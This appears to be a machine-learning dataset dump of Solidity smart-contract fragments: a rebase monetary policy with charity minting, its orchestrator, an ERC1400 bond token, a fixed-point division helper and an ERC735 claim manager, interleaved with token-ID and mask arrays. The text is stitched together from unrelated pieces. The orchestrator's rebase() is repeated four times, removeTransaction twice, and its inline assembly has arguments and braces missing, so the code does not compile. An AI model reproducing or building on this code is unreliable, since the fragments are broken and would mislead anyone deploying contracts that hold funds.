(TokenPriceOracleRate - targetPrice) / targetPrice * and targetPrice is McapOracleRate / baseMcap */ function rebase() external { require(msg.sender == orchestrator, "you are not the orchestrator"); require(inRebaseWindow(), "the rebase window is closed"); // This comparison also ensures there is no reentrancy. require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now, "cannot rebase yet"); // Snap the rebase time to the start of this window. lastRebaseTimestampSec = now.sub(now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec); epoch = epoch.add(1); int256 supplyDelta; uint256 mcap; uint256 tokenPrice; (supplyDelta, mcap, tokenPrice) = getNextSupplyDelta(); if (supplyDelta == 0) { emit LogRebase(epoch, tokenPrice, mcap, supplyDelta, now); return; } if (supplyDelta > 0 && NBASE.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(NBASE.totalSupply())).toInt256Safe(); } applyCharity(supplyDelta); uint256 supplyAfterRebase = NBASE.rebase(epoch, supplyDelta); assert(supplyAfterRebase <= MAX_SUPPLY); emit LogRebase(epoch, tokenPrice, mcap, supplyDelta, now); } function getNextSupplyDelta() public view returns (int256 supplyDelta, uint256 mcap, uint256 tokenPrice) { uint256 mcap; bool mcapValid; (mcap, mcapValid) = mcapOracle.getData(); require(mcapValid, "invalid mcap"); uint256 tokenPrice; bool tokenPriceValid; (tokenPrice, tokenPriceValid) = tokenPriceOracle.getData(); require(tokenPriceValid, "invalid token price"); if (tokenPrice > MAX_RATE) { tokenPrice = MAX_RATE; } supplyDelta = computeSupplyDelta(tokenPrice, mcap); // Apply the Dampening factor. supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe()); return (supplyDelta, mcap, tokenPrice); } function applyCharity(int256 supplyDelta) private { uint256 totalCharityPercent = supplyDelta < 0 ? totalCharityPercentOnContraction : totalCharityPercentOnExpansion; if (totalCharityPercent == 0) { return; } uint256 totalCharitySupply = uint256(supplyDelta.abs()).mul(totalCharityPercent).div(100); uint256 supplyAfterRebase = (supplyDelta < 0) ? NBASE.totalSupply().sub(uint256(supplyDelta.abs())) : NBASE.totalSupply().add(uint256(supplyDelta)); uint256 newSharesx1B = NBASE.totalShares().mul(supplyAfterRebase) .div(//--------------------------------------------------------------- supplyAfterRebase.sub(totalCharitySupply) ); uint256 totalSharesDeltax1B = newSharesx1B.sub(NBASE.totalShares()); // Overflow protection without reverting. If an overflow will occur, the charity program is finished. if (NBASE.totalShares() + totalSharesDeltax1B < NBASE.totalShares()) { return; } for (uint256 i = 0; i < charityRecipients.length; i++) { address recipient = charityRecipients[i]; uint256 recipientPercent = supplyDelta < 0 ? charityPercentOnContraction[recipient] : charityPercentOnExpansion[recipient]; if (recipientPercent == 0) { continue; } uint256 recipientSharesDelta = totalSharesDeltax1B.mul(1000000000).mul(recipientPercent).div(totalCharityPercent).div(1000000000); NBASE.mintShares(recipient, recipientSharesDelta); } } function addCharityRecipient(address addr, uint256 percentOnExpansion, uint256 percentOnContraction) external onlyOwner { require(totalCharityPercentOnExpansion.add(percentOnExpansion) <= 100, "expansion"); require(totalCharityPercentOnContraction.add(percentOnContraction) <= 100, "contraction"); require(charityExists[addr] == false, "already exists"); totalCharityPercentOnExpansion = totalCharityPercentOnExpansion.add(percentOnExpansion); totalCharityPercentOnContraction = totalCharityPercentOnContraction.add(percentOnContraction); charityExists[addr] = true; charityIndex[addr] = charityRecipients.length; charityPercentOnExpansion[addr] = percentOnExpansion; charityPercentOnContraction[addr] = percentOnContraction; charityRecipients.push(addr); } function removeCharityRecipient(address addr) external onlyOwner { require(charityExists[addr], "doesn't exist"); require(charityRecipients.length > 0, "spacetime has shattered"); require(charityRecipients.length - 1 >= charityIndex[addr], "too much cosmic radiation"); totalCharityPercentOnExpansion = totalCharityPercentOnExpansion.sub(charityPercentOnExpansion[addr]); totalCharityPercentOnContraction = totalCharityPercentOnContraction.sub(charityPercentOnContraction[addr]); charityRecipients[charityIndex[addr]] = charityRecipients[charityRecipients.length - 1]; charityRecipients.pop(); delete charityExists[addr]; delete charityIndex[addr]; delete charityPercentOnExpansion[addr]; delete charityPercentOnContraction[addr]; } /** * @notice Sets the reference to the market cap oracle. * @param mcapOracle_ The address of the mcap oracle contract. */ function setMcapOracle(IOracle mcapOracle_) external onlyOwner { mcapOracle = mcapOracle_; } /** * @notice Sets the reference to the token price oracle. * @param tokenPriceOracle_ The address of the token price oracle contract. */ function setTokenPriceOracle(IOracle tokenPriceOracle_) external onlyOwner { tokenPriceOracle = tokenPriceOracle_; } /** * @notice Sets the reference to the orchestrator. * @param orchestrator_ The address of the orchestrator contract. */ function setOrchestrator(address orchestrator_) external onlyOwner { orchestrator = orchestrator_; } /** * @notice Sets the deviation threshold fraction. If the exchange rate given by the market * oracle is within this fractional distance from the targetRate, then no supply * modifications are made. DECIMALS fixed point number. * @param deviationThreshold_ The new exchange rate threshold fraction. */ function setDeviationThreshold(uint256 deviationThreshold_) external onlyOwner { deviationThreshold = deviationThreshold_; } /** * @notice Sets the rebase lag parameter. It is used to dampen the applied supply adjustment by 1 / rebaseLag If the rebase lag R, equals 1, the smallest value for R, then the full supply correction is applied on each rebase cycle. If it is greater than 1, then a correction of 1/R of is applied on each rebase. * @param rebaseLag_ The new rebase lag parameter. */ function setRebaseLag(uint256 rebaseLag_) external onlyOwner { require(rebaseLag_ > 0); rebaseLag = rebaseLag_; } /** * @notice Sets the parameters which control the timing and frequency of * rebase operations. * a) the minimum time period that must elapse between rebase cycles. * b) the rebase window offset parameter. * c) the rebase window length parameter. * @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase * operations, in seconds. * @param rebaseWindowOffsetSec_ The number of seconds from the beginning of the rebase interval, where the rebase window begins. * @param rebaseWindowLengthSec_ The length of the rebase window in seconds. */ function setRebaseTimingParameters( uint256 minRebaseTimeIntervalSec_, uint256 rebaseWindowOffsetSec_, uint256 rebaseWindowLengthSec_) external onlyOwner { require(minRebaseTimeIntervalSec_ > 0, "minRebaseTimeIntervalSec cannot be 0"); require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_, "rebaseWindowOffsetSec_ >= minRebaseTimeIntervalSec_"); minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_; rebaseWindowOffsetSec = rebaseWindowOffsetSec_; rebaseWindowLengthSec = rebaseWindowLengthSec_; } /** * @dev ZOS upgradable contract initialization method. * It is called at the time of contract creation to invoke parent class initializers and * initialize the contract's state variables. */ function initialize(NotBaseToken BASE_) public initializer { __Ownable_init(); deviationThreshold = 0; rebaseLag = 1; minRebaseTimeIntervalSec = 1 days; rebaseWindowOffsetSec = 79200; // 10PM UTC rebaseWindowLengthSec = 60 minutes; lastRebaseTimestampSec = 0; epoch = 0; NBASE = BASE_; } /** * @return If the latest block timestamp is within the rebase time window it, returns true. * Otherwise, returns false. */ function inRebaseWindow() public view returns (bool) { return ( now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec && now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec)) ); } /** * @return Computes the total supply adjustment in response to the exchange rate * and the targetRate. */ function computeSupplyDelta(uint256 price, uint256 mcap) private view returns (int256) { if (withinDeviationThreshold(price, mcap.div(1000000000000))) { return 0; } // supplyDelta = totalSupply * (price - targetPrice) / targetPrice int256 pricex1T = price.mul(1000000000000).toInt256Safe(); int256 targetPricex1T = mcap.toInt256Safe(); return NBASE.totalSupply().toInt256Safe() .mul(pricex1T.sub(targetPricex1T)) .div(targetPricex1T); } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @param targetRate The target exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate, uint256 targetRate) private view returns (bool) { if (deviationThreshold == 0) { return false; } uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold).div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } } /** * @title NotBaseTokenOrchestrator * @notice The orchestrator is the main entry point for rebase operations. It coordinates the policy * actions with external consumers. */ contract NotBaseTokenOrchestrator is OwnableUpgradeSafe { event TransactionFailed(address indexed destination, uint index, bytes data); // Stable ordering is not guaranteed. bool[] transactionEnabled; address[] transactionDestination; bytes[] transactionData; BaseTokenMonetaryPolicy public policy; function setMonetaryPolicy(address _policy) public onlyOwner { policy = BaseTokenMonetaryPolicy(_policy); } /** * @param policy_ Address of the NotBaseToken policy. */ function initialize(address policy_) public initializer { __Ownable_init(); policy = BaseTokenMonetaryPolicy(policy_); } /** * @notice Main entry point to initiate a rebase operation. * The NotBaseTokenOrchestrator calls rebase on the policy and notifies downstream applications. * Contracts are guarded from calling, to avoid flash loan attacks on liquidity * providers. * If a transaction in the transaction list reverts, it is swallowed and the remaining * transactions are executed. */ function rebase() external { require(msg.sender == tx.origin); // solhint-disable-line avoid-tx-origin policy.rebase(); for (uint i = 0; i < transactionEnabled.length; i++) { // Transaction storage t = transactions[i]; if (transactionEnabled[i]) { bool result = externalCall(transactionDestination[i], transactionData[i]); if (!result) { emit TransactionFailed(transactionDestination[i], i, transactionData[i]); revert("Transaction Failed"); } } } } /** * @notice Adds a transaction that gets called for a downstream receiver of rebases * @param destination Address of contract destination * @param data Transaction data payload */ function addTransaction(address destination, bytes memory data) external onlyOwner { transactionEnabled.push(true); transactionDestination.push(destination); transactionData.push(data); } /** * @param index Index of transaction to remove. * Transaction ordering may have changed since adding. */ function removeTransaction(uint index) external onlyOwner { require(index < transactionEnabled.length, "index out of bounds"); if (index < transactionEnabled.length - 1) { transactionEnabled[index] = transactionEnabled[transactionEnabled.length - 1]; transactionDestination[index] = transactionDestination[transactionEnabled.length - 1]; transactionData[index] = transactionData[transactionEnabled.length - 1]; } transactionEnabled.pop(); transactionDestination.pop(); transactionData.pop(); } /** * @param index Index of transaction. Transaction ordering may have changed since adding. * @param enabled True for enabled, false for disabled. */ function setTransactionEnabled(uint index, bool enabled) external onlyOwner { require(index < transactionEnabled.length, "index must be in range of stored tx list"); transactionEnabled[index] = enabled; } /** * @return Number of transactions, both enabled and disabled, in transactions list. */ function transactionsSize() external view returns (uint256) { return transactionEnabled.length; } /** * @dev wrapper to call the encoded transactions on downstream consumers. * @param destination Address of destination contract. * @param data The encoded data payload. * @return True on success */ function externalCall(address destination, bytes memory data) internal returns (bool) { bool result; assembly { // solhint-disable-line no-inline-assembly // "Allocate" memory for output // (0x40 is where "free memory" pointer is stored by convention) let outputAddress := mload(0x40) // First 32 bytes are the padded length of data, so exclude that let dataAddress := add(data, 32) result := call( // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) // + callValueTransferGas (9000) + callNewAccountGas // (25000, in case the destination address does not exist and needs creating) sub(gas(), 34710), destination, 0, // transfer value in wei dataAddress, mload(data), // Size of the input, in bytes. Stored in position 0 of the array. outputAddress, 0 // Output is ignored, therefore the output size is zero ) } return result; } }
* @title NotBaseTokenOrchestrator @notice The orchestrator is the main entry point for rebase operations. It coordinates the policy actions with external consumers./ Stable ordering is not guaranteed.
contract NotBaseTokenOrchestrator is OwnableUpgradeSafe { event TransactionFailed(address indexed destination, uint index, bytes data); bool[] transactionEnabled; address[] transactionDestination; bytes[] transactionData; BaseTokenMonetaryPolicy public policy; function setMonetaryPolicy(address _policy) public onlyOwner { policy = BaseTokenMonetaryPolicy(_policy); } function initialize(address policy_) public initializer { __Ownable_init(); policy = BaseTokenMonetaryPolicy(policy_); } function rebase() external { policy.rebase(); for (uint i = 0; i < transactionEnabled.length; i++) { if (transactionEnabled[i]) { bool result = externalCall(transactionDestination[i], transactionData[i]); if (!result) { emit TransactionFailed(transactionDestination[i], i, transactionData[i]); revert("Transaction Failed"); } } } } function rebase() external { policy.rebase(); for (uint i = 0; i < transactionEnabled.length; i++) { if (transactionEnabled[i]) { bool result = externalCall(transactionDestination[i], transactionData[i]); if (!result) { emit TransactionFailed(transactionDestination[i], i, transactionData[i]); revert("Transaction Failed"); } } } } function rebase() external { policy.rebase(); for (uint i = 0; i < transactionEnabled.length; i++) { if (transactionEnabled[i]) { bool result = externalCall(transactionDestination[i], transactionData[i]); if (!result) { emit TransactionFailed(transactionDestination[i], i, transactionData[i]); revert("Transaction Failed"); } } } } function rebase() external { policy.rebase(); for (uint i = 0; i < transactionEnabled.length; i++) { if (transactionEnabled[i]) { bool result = externalCall(transactionDestination[i], transactionData[i]); if (!result) { emit TransactionFailed(transactionDestination[i], i, transactionData[i]); revert("Transaction Failed"); } } } } function addTransaction(address destination, bytes memory data) external onlyOwner { transactionEnabled.push(true); transactionDestination.push(destination); transactionData.push(data); } function removeTransaction(uint index) external onlyOwner { require(index < transactionEnabled.length, "index out of bounds"); if (index < transactionEnabled.length - 1) { transactionEnabled[index] = transactionEnabled[transactionEnabled.length - 1]; transactionDestination[index] = transactionDestination[transactionEnabled.length - 1]; transactionData[index] = transactionData[transactionEnabled.length - 1]; } transactionEnabled.pop(); transactionDestination.pop(); transactionData.pop(); } function removeTransaction(uint index) external onlyOwner { require(index < transactionEnabled.length, "index out of bounds"); if (index < transactionEnabled.length - 1) { transactionEnabled[index] = transactionEnabled[transactionEnabled.length - 1]; transactionDestination[index] = transactionDestination[transactionEnabled.length - 1]; transactionData[index] = transactionData[transactionEnabled.length - 1]; } transactionEnabled.pop(); transactionDestination.pop(); transactionData.pop(); } function setTransactionEnabled(uint index, bool enabled) external onlyOwner { require(index < transactionEnabled.length, "index must be in range of stored tx list"); transactionEnabled[index] = enabled; } function transactionsSize() external view returns (uint256) { return transactionEnabled.length; } function externalCall(address destination, bytes memory data) internal returns (bool) { bool result; let outputAddress := mload(0x40) let dataAddress := add(data, 32) result := call( sub(gas(), 34710), destination, dataAddress, outputAddress, ) } return result; }
382,679
[ 1, 1248, 2171, 1345, 1162, 23386, 639, 225, 1021, 578, 23386, 639, 353, 326, 2774, 1241, 1634, 364, 283, 1969, 5295, 18, 2597, 5513, 326, 3329, 4209, 598, 3903, 18350, 18, 19, 934, 429, 9543, 353, 486, 15403, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 2288, 2171, 1345, 1162, 23386, 639, 353, 14223, 6914, 10784, 9890, 288, 203, 203, 565, 871, 5947, 2925, 12, 2867, 8808, 2929, 16, 2254, 770, 16, 1731, 501, 1769, 203, 203, 565, 1426, 8526, 2492, 1526, 31, 203, 565, 1758, 8526, 2492, 5683, 31, 203, 565, 1731, 8526, 2492, 751, 31, 203, 203, 565, 3360, 1345, 11415, 14911, 2582, 1071, 3329, 31, 203, 203, 565, 445, 444, 11415, 14911, 2582, 12, 2867, 389, 5086, 13, 203, 3639, 1071, 203, 3639, 1338, 5541, 203, 565, 288, 203, 3639, 3329, 273, 3360, 1345, 11415, 14911, 2582, 24899, 5086, 1769, 203, 565, 289, 203, 203, 565, 445, 4046, 12, 2867, 3329, 67, 13, 203, 3639, 1071, 203, 3639, 12562, 203, 565, 288, 203, 3639, 1001, 5460, 429, 67, 2738, 5621, 203, 3639, 3329, 273, 3360, 1345, 11415, 14911, 2582, 12, 5086, 67, 1769, 203, 565, 289, 203, 203, 565, 445, 283, 1969, 1435, 203, 3639, 3903, 203, 565, 288, 203, 203, 3639, 3329, 18, 266, 1969, 5621, 203, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 2492, 1526, 18, 2469, 31, 277, 27245, 288, 203, 5411, 309, 261, 7958, 1526, 63, 77, 5717, 288, 203, 7734, 1426, 563, 273, 3903, 1477, 12, 7958, 5683, 63, 77, 6487, 2492, 751, 63, 77, 19226, 203, 7734, 309, 16051, 2088, 13, 288, 203, 10792, 3626, 5947, 2925, 12, 7958, 5683, 63, 77, 6487, 277, 16, 2492, 751, 63, 77, 19226, 203, 10792, 15226, 2932, 3342, 11175, 8863, 203, 7734, 289, 203, 5411, 289, 203, 3639, 289, 2 ]
/* * This code has not been reviewed. * Do not use or deploy this code before reviewing it personally first. */ pragma solidity ^0.5.12; import "./token/ERC20/ERC1400ERC20.sol"; /** * @title ERC1400 * @dev ERC1400 logic */ contract MWT is ERC1400ERC20 { // Some actions might need the actors to be whitelisted in the future bool needWhitelisting = false; /** * [ERC1400ERC20 CONSTRUCTOR] * @dev Initialize ERC71400ERC20 and CertificateController parameters + register * the contract implementation in ERC1820Registry. * @param name Name of the token. * @param symbol Symbol of the token. * @param granularity Granularity of the token. * @param controllers Array of initial controllers. * @param certificateSigner Address of the off-chain service which signs the * conditional ownership certificates required for token transfers, issuance, * redemption (Cf. CertificateController.sol). */ constructor( string memory name, string memory symbol, uint256 granularity, address[] memory controllers, address certificateSigner, bytes32[] memory tokenDefaultPartitions ) public ERC1400ERC20(name, symbol, granularity, controllers, certificateSigner, tokenDefaultPartitions) { } /** * @dev Add this to a function that might reequire involved actors to be whitelisted in the future */ modifier mayNeedWhitelisting(address sender, address recipient) { if (needWhitelisting) { require(_whitelisted[sender], "A5"); //Transfer Blocked - Sender not eligible require(_whitelisted[recipient], "A6"); //Transfer Blocked - Receiver not eligible } _; } /** * === Overrides ERC20 function === * @dev Moves perpetual bonds. * @param sender The address from which the tokens should be withdrawn * @param recipient The address to which the tokens should be deposit * @param amount How many tokens to transfer */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "A8"); //Transfer Blocked - Token restriction require(recipient != address(0), "A8"); //Transfer Blocked - Token restriction require(_defaultPartitions.length != 0, "A8"); // Transfer Blocked - Token restriction bytes32 perpetualPartition = _defaultPartitions[0]; require(_balanceOfByPartition[sender][perpetualPartition] >= amount, "A4"); // Transfer Blocked - Sender balance insufficient _removeTokenFromPartition(sender, perpetualPartition, amount); _transferWithData(perpetualPartition, sender, sender, recipient, amount, "", "", false); _addTokenToPartition(recipient, perpetualPartition, amount); } /** * @dev Enable or disable whitelisting requirement * @param needWhitelist True to enable whitelisting requirement */ function setNeedWhitelisting(bool needWhitelist) external onlyOwner { needWhitelisting = needWhitelist; } /** * === Overrides ERC1400raw function === * @dev Get the perpetual balance of the account with address 'tokenHolder', overrides ERC20 and ERC1400Raw balanceOf functions. * @param tokenHolder Address for which the perpetual balance is returned. * @return Amount of token Perpetual (default partition) held by 'tokenHolder' in the token contract. */ function balanceOf(address tokenHolder) external view returns (uint256) { bytes32 perpetualPartition = _defaultPartitions[0]; return _balanceOfByPartition[tokenHolder][perpetualPartition]; } /** * === Overrides ERC20 function === * @dev Transfer token for a specified address. * @param to The address to transfer to. * @param value The value to be transferred. * @return A boolean that indicates if the operation was successful. */ function transfer(address to, uint256 value) external mayNeedWhitelisting(msg.sender, to) returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Remove the right to mint new tokens. */ function removeMinter(address minter) external onlyOwner { _removeMinter(minter); } /** * === Overrides MinterRole.sol function === * @dev Add the right to mint new tokens. */ function addMinter(address account) public onlyOwner { _addMinter(account); } /** * @dev Getter to check if whitelist is neeeded to use ERC20-like perpetual bonds. */ function needWhitelist() external view returns (bool) { return needWhitelisting; } }
Transfer Blocked - Receiver not eligible
require(_whitelisted[recipient], "A6");
13,135,973
[ 1, 5912, 3914, 329, 300, 31020, 486, 21351, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1377, 2583, 24899, 20409, 329, 63, 20367, 6487, 315, 37, 26, 8863, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x4f21931068FdD66aCAa7F4d964A005f6A757382B/sources/ItemBase.sol
divide a UQ128x128 by a uint128, returning a UQ128x128
function uqdiv(uint256 x, uint128 y) internal pure returns (uint256 z) { require(y != 0, 'UQ128x128: DIV_BY_ZERO'); z = x / uint256(y); }
5,060,572
[ 1, 2892, 831, 279, 587, 53, 10392, 92, 10392, 635, 279, 2254, 10392, 16, 5785, 279, 587, 53, 10392, 92, 10392, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 582, 85, 2892, 12, 11890, 5034, 619, 16, 2254, 10392, 677, 13, 2713, 16618, 1135, 261, 11890, 5034, 998, 13, 288, 203, 3639, 2583, 12, 93, 480, 374, 16, 296, 57, 53, 10392, 92, 10392, 30, 27355, 67, 6486, 67, 24968, 8284, 203, 3639, 998, 273, 619, 342, 2254, 5034, 12, 93, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; import "./ownership/KeyManageable.sol"; import "./ERC/ERC725.sol"; import "./ERC/ERC735.sol"; import "./lib/ERC165Query.sol"; import "./lib/KeyStore.sol"; import "./lib/ClaimStore.sol"; /** * @title ClaimManager * @author Wu Di * @notice Implement functions from ERC735 spec * Inspired by Mircea Pasoi's implementation at https://github.com/mirceapasoi/erc725-735 */ contract ClaimManager is KeyManageable, ERC735 { using ERC165Query for address; using ClaimStore for ClaimStore.Claims; ClaimStore.Claims internal allClaims; function numClaims() public view returns (uint256) { return allClaims.numClaims; } /** * @dev Requests the ADDITION or the CHANGE of a claim from an issuer. * Claims can requested to be added by anybody, including the claim holder itself (self issued). * @param _topic Type of claim * @param _scheme Scheme used for the signatures * @param _issuer Address of issuer * @param _signature The actual signature * @param _data The data that was signed * @param _uri The location of the claim * @return claimRequestId COULD be send to the approve function, * to approve or reject this claim */ function addClaim( uint256 _topic, uint256 _scheme, address _issuer, bytes _signature, bytes _data, string _uri ) public returns (uint256 claimRequestId) { // Check signature if (_scheme == executions.allKeys.enums.ECDSA_TYPE()) { require(_validSignature(_topic, _scheme, _issuer, _signature, _data)); } // Check we can perform action bool requireApproval = !_managementOrSelf(); if (requireApproval) { // SHOULD be approved or rejected by n of m approve calls from // keys of purpose MANAGEMENT_KEY // Execute this function again using its identity claimRequestId = this.execute(address(this), 0, msg.data); emit ClaimRequested(claimRequestId, _topic, _scheme, _issuer, _signature, _data, _uri); return; } allClaims.add(_topic, _scheme, _issuer, _signature, _data, _uri); } /** * @dev Removes a claim. Can only be removed by the claim issuer, * or the claim holder itself. * @param _claimId Claim ID to remove * @return `true` if the claim is found and removed */ function removeClaim(bytes32 _claimId) public onlyManagementOrSelfOrIssuer(_claimId) returns (bool success) { return allClaims.remove(_claimId); } /** * @dev Returns a claim by ID * @return (topic, scheme, issuer, signature, data, uri) tuple with claim data */ function getClaim(bytes32 _claimId) public view returns ( uint256 topic, uint256 scheme, address issuer, 